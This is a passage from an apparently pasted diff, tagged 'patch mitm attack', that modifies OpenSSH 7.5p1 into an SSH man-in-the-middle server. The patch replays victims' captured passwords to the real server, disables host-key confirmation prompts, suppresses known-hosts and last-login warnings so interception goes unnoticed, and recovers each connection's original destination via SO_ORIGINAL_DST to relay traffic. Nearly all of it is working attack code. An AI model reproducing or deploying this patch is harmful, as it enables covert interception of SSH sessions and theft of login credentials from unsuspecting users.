  4352.     /* remove ext-info from the KEX proposals for rekeying */
  4353.     myproposal[PROPOSAL_KEX_ALGS] =
  4354. @@ -906,7 +908,8 @@
  4355.  
  4356.     snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
  4357.         authctxt->server_user, host);
  4358. -   password = read_passphrase(prompt, 0);
  4359. +   /* password = read_passphrase(prompt, 0); */
  4360. +   password = strdup(authctxt->sensitive->password);  /* TODO: zero out password field now? */
  4361.     packet_start(SSH2_MSG_USERAUTH_REQUEST);
  4362.     packet_put_cstring(authctxt->server_user);
  4363.     packet_put_cstring(authctxt->service);
  4364. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshconnect.c openssh-7.5p1-mitm/sshconnect.c
  4365. --- openssh-7.5p1/sshconnect.c  2017-03-19 22:39:27.000000000 -0400
  4366. +++ openssh-7.5p1-mitm/sshconnect.c 2018-06-12 17:44:46.345760658 -0400
  4367. @@ -64,6 +64,8 @@
  4368. #include "authfile.h"
  4369. #include "ssherr.h"
  4370. #include "authfd.h"
  4371. +#include "digest.h"
  4372. +#include "lol.h"
  4373.  
  4374. char *client_version_string = NULL;
  4375. char *server_version_string = NULL;
  4376. @@ -78,6 +80,8 @@
  4377. extern char *__progname;
  4378. extern uid_t original_real_uid;
  4379. extern uid_t original_effective_uid;
  4380. +extern int num_hostkey_fps;
  4381. +extern hostkey_fp *server_hostkey_fps;
  4382.  
  4383. static int show_other_keys(struct hostkeys *, Key *);
  4384. static void warn_changed_key(Key *);
  4385. @@ -916,10 +920,12 @@
  4386.                     "address '%.128s' to the list of known "
  4387.                     "hosts (%.500s).", type, ip,
  4388.                     user_hostfiles[0]);
  4389. -           else
  4390. -               logit("Warning: Permanently added the %s host "
  4391. +           /* Suppress the warning about adding this host key. */
  4392. +           /*else
  4393. +             logit("Warning: Permanently added the %s host "
  4394.                     "key for IP address '%.128s' to the list "
  4395. -                   "of known hosts.", type, ip);
  4396. +                   "of known hosts.", type, ip);*/
  4397. +
  4398.         } else if (options.visual_host_key) {
  4399.             fp = sshkey_fingerprint(host_key,
  4400.                 options.fingerprint_hash, SSH_FP_DEFAULT);
  4401. @@ -995,8 +1001,8 @@
  4402.                 msg2);
  4403.             free(ra);
  4404.             free(fp);
  4405. -           if (!confirm(msg))
  4406. -               goto fail;
  4407. +           /*if (!confirm(msg))
  4408. +             goto fail;*/
  4409.             hostkey_trusted = 1; /* user explicitly confirmed */
  4410.         }
  4411.         /*
  4412. @@ -1023,13 +1029,17 @@
  4413.                 host_key, options.hash_known_hosts);
  4414.             hostp = host;
  4415.         }
  4416. +       /* Suppress compiler warning about hostp being set but not
  4417. +        * used. */
  4418. +       if (hostp) {}
  4419.  
  4420.         if (!r)
  4421.             logit("Failed to add the host to the list of known "
  4422.                 "hosts (%.500s).", user_hostfiles[0]);
  4423. -       else
  4424. +       /* Suppress the warning message about adding to known_hosts  */
  4425. +       /*else
  4426.             logit("Warning: Permanently added '%.200s' (%s) to the "
  4427. -               "list of known hosts.", hostp, type);
  4428. +           "list of known hosts.", hostp, type);*/
  4429.         break;
  4430.     case HOST_REVOKED:
  4431.         error("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@");
  4432. @@ -1243,6 +1253,13 @@
  4433.     char valid[64], *fp = NULL, *cafp = NULL;
  4434.     struct sshkey *plain = NULL;
  4435.  
  4436. +   /* Add the host key's fingerprints to the array.  Both the old MD5 and new SHA256 fingerprints are stored. */
  4437. +   if ((server_hostkey_fps != NULL) && (num_hostkey_fps < MAX_SERVER_HOSTKEY_FPS)) {
  4438. +     server_hostkey_fps[num_hostkey_fps].old = sshkey_fingerprint(host_key, SSH_DIGEST_MD5, SSH_FP_DEFAULT);
  4439. +     server_hostkey_fps[num_hostkey_fps].new = sshkey_fingerprint(host_key, SSH_DIGEST_SHA256, SSH_FP_DEFAULT);
  4440. +     num_hostkey_fps++;
  4441. +   }
  4442. +
  4443.     if ((fp = sshkey_fingerprint(host_key,
  4444.         options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) {
  4445.         error("%s: fingerprint host key: %s", __func__, ssh_err(r));
  4446. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshconnect.h openssh-7.5p1-mitm/sshconnect.h
  4447. --- openssh-7.5p1/sshconnect.h  2017-03-19 22:39:27.000000000 -0400
  4448. +++ openssh-7.5p1-mitm/sshconnect.h 2018-06-12 17:44:46.345760658 -0400
  4449. @@ -29,6 +29,7 @@
  4450.     Key **keys;
  4451.     int nkeys;
  4452.     int external_keysign;
  4453. +   char    *password;
  4454.  };
  4455.  
  4456.  struct addrinfo;
  4457. @@ -62,16 +63,20 @@
  4458.   */
  4459.  #define PRIV_START do {                    \
  4460.     int save_errno = errno;             \
  4461. +   /*                      \
  4462.     if (seteuid(original_effective_uid) != 0)   \
  4463.         fatal("PRIV_START: seteuid: %s",    \
  4464.             strerror(errno));           \
  4465. +   */                      \
  4466.     errno = save_errno;             \
  4467.  } while (0)
  4468.  
  4469.  #define PRIV_END do {                  \
  4470.     int save_errno = errno;             \
  4471. +   /*                      \
  4472.     if (seteuid(original_real_uid) != 0)        \
  4473.         fatal("PRIV_END: seteuid: %s",      \
  4474.             strerror(errno));           \
  4475. +   */                      \
  4476.     errno = save_errno;             \
  4477.  } while (0)
  4478. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshd.c openssh-7.5p1-mitm/sshd.c
  4479. --- openssh-7.5p1/sshd.c    2017-03-19 22:39:27.000000000 -0400
  4480. +++ openssh-7.5p1-mitm/sshd.c   2018-06-12 17:44:46.345760658 -0400
  4481. @@ -72,6 +72,8 @@
  4482.  #include <string.h>
  4483.  #include <unistd.h>
  4484.  #include <limits.h>
  4485. +#include <arpa/inet.h>
  4486. +#include <linux/netfilter_ipv4.h>
  4487.  
  4488.  #ifdef WITH_OPENSSL
  4489.  #include <openssl/dh.h>
  4490. @@ -122,6 +124,7 @@
  4491.  #include "ssh-sandbox.h"
  4492.  #include "version.h"
  4493.  #include "ssherr.h"
  4494. +#include "lol.h"
  4495.  
  4496.  /* Re-exec fds */
  4497.  #define REEXEC_DEVCRYPTO_RESERVED_FD   (STDERR_FILENO + 1)
  4498. @@ -201,6 +204,9 @@
  4499.     int have_ssh2_key;
  4500.  } sensitive_data;
  4501.  
  4502. +
  4503. +Lol *lol = NULL;
  4504. +
  4505.  /* This is set to true when a signal is received. */
  4506.  static volatile sig_atomic_t received_sighup = 0;
  4507.  static volatile sig_atomic_t received_sigterm = 0;
  4508. @@ -543,10 +549,13 @@
  4509.     /* Demote the child */
  4510.     if (getuid() == 0 || geteuid() == 0) {
  4511.         /* Change our root directory */
  4512. +/* chroot() won't work since we are not running as root. */
  4513. +/*
  4514.         if (chroot(_PATH_PRIVSEP_CHROOT_DIR) == -1)
  4515.             fatal("chroot(\"%s\"): %s", _PATH_PRIVSEP_CHROOT_DIR,
  4516.                 strerror(errno));
  4517. -       if (chdir("/") == -1)
  4518. +*/
  4519. +       if (chdir(MITM_ROOT) == -1)
  4520.             fatal("chdir(\"/\"): %s", strerror(errno));
  4521.  
  4522.         /* Drop our privileges */
  4523. @@ -672,6 +681,7 @@
  4524.  skip:
  4525.     /* It is safe now to apply the key state */
  4526.     monitor_apply_keystate(pmonitor);
  4527. +   monitor_apply_lol(pmonitor, lol);
  4528.  
  4529.     /*
  4530.      * Tell the packet layer that authentication was successful, since
  4531. @@ -1372,6 +1382,18 @@
  4532.     int keytype;
  4533.     Authctxt *authctxt;
  4534.     struct connection_info *connection_info = get_connection_info(0, 0);
  4535. +#ifndef DEBUG_HOST
  4536. +   struct sockaddr_in origaddr;
  4537. +   socklen_t origaddr_len = sizeof(origaddr);
  4538. +#endif
  4539. +
  4540. +   lol = (Lol *)calloc(1, sizeof(Lol));
  4541. +
  4542. +        /* Terminate if sshd_mitm is running in a privileged account. */
  4543. +        if ((getuid() < 500) || (getgid() < 500) || (geteuid() < 500) || (getegid() < 500)) {
  4544. +            fprintf(stderr, "Error: sshd_mitm must be run under a non-privileged account!  UID and GID must be >= 500.\n");
  4545. +            exit(-1);
  4546. +        }
  4547.  
  4548.     ssh_malloc_init();  /* must be called before any mallocs */
  4549.  
  4550. @@ -1780,7 +1802,8 @@
  4551.             (st.st_uid != getuid () ||
  4552.             (st.st_mode & (S_IWGRP|S_IWOTH)) != 0))
  4553. #else
  4554. -       if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0)
  4555. +                /* Ownership of the chroot directory no longer relevant. */
  4556. +                if (0)
  4557. #endif
  4558.             fatal("%s must be owned by root and not group or "
  4559.                 "world-writable.", _PATH_PRIVSEP_CHROOT_DIR);
  4560. @@ -1956,6 +1979,17 @@
  4561.     signal(SIGCHLD, SIG_DFL);
  4562.     signal(SIGINT, SIG_DFL);
  4563.  
  4564. +#ifndef DEBUG_HOST
  4565. +   if (getsockopt(sock_in, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *)&origaddr, &origaddr_len) != 0)
  4566. +     fatal("%s: getsockopt failed.", __func__);
  4567. +
  4568. +   lol->original_host = strdup(inet_ntoa(origaddr.sin_addr));
  4569. +   lol->original_port = ntohs(origaddr.sin_port);
  4570. +#else
  4571. +   lol->original_host = strdup(DEBUG_HOST);
  4572. +   lol->original_port = DEBUG_PORT;
  4573. +#endif
  4574. +
  4575.     /*
  4576.      * Register our connection.  This turns encryption off because we do
  4577.      * not have a key.
  4578. @@ -2040,6 +2074,7 @@
  4579.      */
  4580.     if (use_privsep) {
  4581.         mm_send_keystate(pmonitor);
  4582. +       mm_send_lol(pmonitor, lol);
  4583.         exit(0);
  4584.     }
  4585.  
  4586. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshd_config openssh-7.5p1-mitm/sshd_config
  4587. --- openssh-7.5p1/sshd_config   2017-03-19 22:39:27.000000000 -0400
  4588. +++ openssh-7.5p1-mitm/sshd_config  2018-06-12 17:44:46.349760695 -0400
  4589. @@ -10,22 +10,24 @@
  4590. # possible, but leave them commented.  Uncommented options override the
  4591. # default value.
  4592.  
  4593. -#Port 22
  4594. +Port 2222
  4595. #AddressFamily any
  4596. #ListenAddress 0.0.0.0
  4597. #ListenAddress ::
  4598.  
  4599. -#HostKey /etc/ssh/ssh_host_rsa_key
  4600. +HostKey /home/ssh-mitm/etc/ssh_host_rsa_key
  4601. #HostKey /etc/ssh/ssh_host_dsa_key
  4602. #HostKey /etc/ssh/ssh_host_ecdsa_key
  4603. -#HostKey /etc/ssh/ssh_host_ed25519_key
  4604. +HostKey /home/ssh-mitm/etc/ssh_host_ed25519_key
  4605. +
  4606. +PrintMotd no
  4607.  
  4608. # Ciphers and keying
  4609. #RekeyLimit default none
  4610.  
  4611. # Logging
  4612. -#SyslogFacility AUTH
  4613. -#LogLevel INFO
  4614. +SyslogFacility AUTH
  4615. +LogLevel INFO
  4616.  
  4617. # Authentication:
  4618.  
  4619. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshlogin.c openssh-7.5p1-mitm/sshlogin.c
  4620. --- openssh-7.5p1/sshlogin.c    2017-03-19 22:39:27.000000000 -0400
  4621. +++ openssh-7.5p1-mitm/sshlogin.c   2018-06-12 17:44:46.349760695 -0400
  4622. @@ -113,7 +113,8 @@
  4623.         else
  4624.             snprintf(buf, sizeof(buf), "Last login: %s from %s\r\n",
  4625.                 time_string, hostname);
  4626. -       buffer_append(&loginmsg, buf, strlen(buf));
  4627. +       /* Suppress message about last login. */
  4628. +       /*buffer_append(&loginmsg, buf, strlen(buf));*/
  4629.     }
  4630. # endif /* CUSTOM_SYS_AUTH_GET_LASTLOGIN_MSG */
  4631. #endif /* NO_SSH_LASTLOG */
  4632. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/uidswap.c openssh-7.5p1-mitm/uidswap.c
  4633. --- openssh-7.5p1/uidswap.c 2017-03-19 22:39:27.000000000 -0400
  4634. +++ openssh-7.5p1-mitm/uidswap.c    2018-06-12 17:44:46.349760695 -0400
  4635. @@ -59,6 +59,8 @@
  4636. void
  4637. temporarily_use_uid(struct passwd *pw)
  4638. {
  4639. +        /* Since we are never running as root, don't ever try to change uid/gid. */
  4640. +   return;
  4641.     /* Save the current euid, and egroups. */
  4642.  #ifdef SAVED_IDS_WORK_WITH_SETEUID
  4643.     saved_euid = geteuid();
  4644. @@ -134,6 +136,8 @@
  4645.  void
  4646.  permanently_drop_suid(uid_t uid)
  4647.  {
  4648. +        /* Since we are never running as root, don't ever try to change uid/gid. */
  4649. +   return;
  4650. #ifndef NO_UID_RESTORATION_TEST
  4651.     uid_t old_uid = getuid();
  4652. #endif
  4653. @@ -168,6 +172,8 @@
  4654. void
  4655. restore_uid(void)
  4656. {
  4657. +        /* Since we are never running as root, don't ever try to change uid/gid. */
  4658. +   return;
  4659.     /* it's a no-op unless privileged */
  4660.     if (!privileged) {
  4661.         debug("restore_uid: (unprivileged)");
  4662. @@ -205,6 +211,8 @@
  4663. void
  4664. permanently_set_uid(struct passwd *pw)
  4665. {
  4666. +        /* Since we are never running as root, don't ever try to change uid/gid. */
  4667. +   return;
  4668.  #ifndef NO_UID_RESTORATION_TEST
  4669.     uid_t old_uid = getuid();
  4670.     gid_t old_gid = getgid();
Tags: patch mitm attack
Add Comment
Please, Sign In to add comment